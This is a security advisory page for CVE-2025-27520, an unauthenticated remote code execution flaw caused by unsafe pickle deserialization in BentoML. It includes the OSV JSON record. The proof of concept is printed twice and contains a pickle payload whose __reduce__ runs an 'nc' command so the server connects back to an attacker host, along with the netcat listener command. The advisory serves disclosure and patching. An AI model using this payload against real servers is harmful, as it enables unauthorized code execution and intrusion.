GHSA-33XW-247W-6HMC

Vulnerability from github – Published: 2025-04-04 16:05 – Updated: 2026-10-27 15:14
VLAI
Summary
BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization
Details

Summary

A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server.

Details

It exists an unsafe code segment in serde.py: 

def deserialize_value(self, payload: Payload) -> t.Any:
    if "buffer-lengths" not in payload.metadata:
        return pickle.loads(b"".join(payload.data))

Through data flow analysis, it is confirmed that the payloadcontent is sourced from an HTTP request, which can be fully manipulated by the attack. Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization.

PoC

Environment:

  • Server host:
  • IP: 10.98.36.123
  • OS: Ubuntu
  • Attack host:
  • IP: 10.98.36.121

  • OS: Ubuntu

  • Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment.

1.1 Install BentoML (Server host: 10.98.36.123) : pip install -U bentoml

1.2 Define APIs in a service.py file (Server host: 10.98.36.123) :

from __future__ import annotations

import bentoml

@bentoml.service(
    resources={"cpu": "4"}
)
class Summarization:
    def __init__(self) -> None:
        import torch
        from transformers import pipeline

        device = "cuda" if torch.cuda.is_available() else "cpu"
        self.pipeline = pipeline('summarization', device=device)

    @bentoml.api(batchable=True)
    def summarize(self, texts: list[str]) -> list[str]:
        results = self.pipeline(texts)
        return [item['summary_text'] for item in results]

1.3 Run the service code (Server host: 10.98.36.123) :

pip install torch transformers  # additional dependencies for local run

bentoml serve

  1. Start nc listening on the attacking host (Attack host: 10.98.36.121) : nc -lvvp 1234

  2. Send maliciously crafted request (Attack host: 10.98.36.121) :

import pickle
import os
import requests

headers = {'Content-Type': 'application/vnd.bentoml+pickle'}

class Evil:
    def __reduce__(self):
        return(os.system, ('nc 10.98.36.121 1234',))

payload = pickle.dumps(Evil())

requests.post("http://10.98.36.123:3000/summarize", data=payload, headers=headers)
  1. Attack success (Attack host: 10.98.36.121) : The server host(10.98.36.123) has connected to the attacker's host(10.98.36.121) listening on port 1234. nc

Impact

Remote Code Execution (RCE).

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "bentoml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.3.4"
            },
            {
              "fixed": "1.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-27520"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-04T16:05:32Z",
    "nvd_published_at": "2025-04-04T15:15:47Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nA Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server.\n\n### Details\nIt exists an unsafe code segment in `serde.py`: \n```Python\ndef deserialize_value(self, payload: Payload) -\u003e t.Any:\n    if \"buffer-lengths\" not in payload.metadata:\n        return pickle.loads(b\"\".join(payload.data))\n```\nThrough data flow analysis, it is confirmed that the `payload `content is sourced from an HTTP request, which can be fully manipulated by the attack. Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization.\n\n### PoC\nEnvironment:\n\n- Server host:\n  - IP: 10.98.36.123\n  - OS: Ubuntu \n- Attack host:\n  - IP: 10.98.36.121\n  - OS: Ubuntu \n\n\n\n1. Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment.\n\n1.1 Install BentoML (Server host: 10.98.36.123) :\n` pip install -U bentoml`\n\n1.2 Define APIs in a `service.py` file (Server host: 10.98.36.123) :\n``` Python\nfrom __future__ import annotations\n\nimport bentoml\n\n@bentoml.service(\n    resources={\"cpu\": \"4\"}\n)\nclass Summarization:\n    def __init__(self) -\u003e None:\n        import torch\n        from transformers import pipeline\n\n        device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n        self.pipeline = pipeline(\u0027summarization\u0027, device=device)\n\n    @bentoml.api(batchable=True)\n    def summarize(self, texts: list[str]) -\u003e list[str]:\n        results = self.pipeline(texts)\n        return [item[\u0027summary_text\u0027] for item in results]\n```\n\n\n1.3 Run the service code (Server host: 10.98.36.123) :\n``` Bash\npip install torch transformers  # additional dependencies for local run\n\nbentoml serve\n```\n\n\n2. Start nc listening on the attacking host (Attack host: 10.98.36.121) :\n`nc -lvvp 1234`\n\n3. Send maliciously crafted request (Attack host: 10.98.36.121) :\n``` Python\nimport pickle\nimport os\nimport requests\n\nheaders = {\u0027Content-Type\u0027: \u0027application/vnd.bentoml+pickle\u0027}\n\nclass Evil:\n    def __reduce__(self):\n        return(os.system, (\u0027nc 10.98.36.121 1234\u0027,))\n\npayload = pickle.dumps(Evil())\n\nrequests.post(\"http://10.98.36.123:3000/summarize\", data=payload, headers=headers)\n```\n\n\n4. Attack success (Attack host: 10.98.36.121) :\nThe server host(10.98.36.123) has connected to the attacker\u0027s host(10.98.36.121) listening on port 1234.\n![nc](https://github.com/user-attachments/assets/858cba4a-6880-498f-b922-dd9a2dc78a85)\n\n\n\n### Impact\nRemote Code Execution (RCE).",
  "id": "GHSA-33xw-247w-6hmc",
  "modified": "2026-10-27T15:14:18Z",
  "published": "2025-04-04T16:05:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-33xw-247w-6hmc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27520"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bentoml/BentoML/commit/b35f4f4fcc53a8c3fe8ed9c18a013fe0a728e194"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bentoml/BentoML"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/bentoml/PYSEC-2026-294.yaml"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/bentoml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Loading timeline…




    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.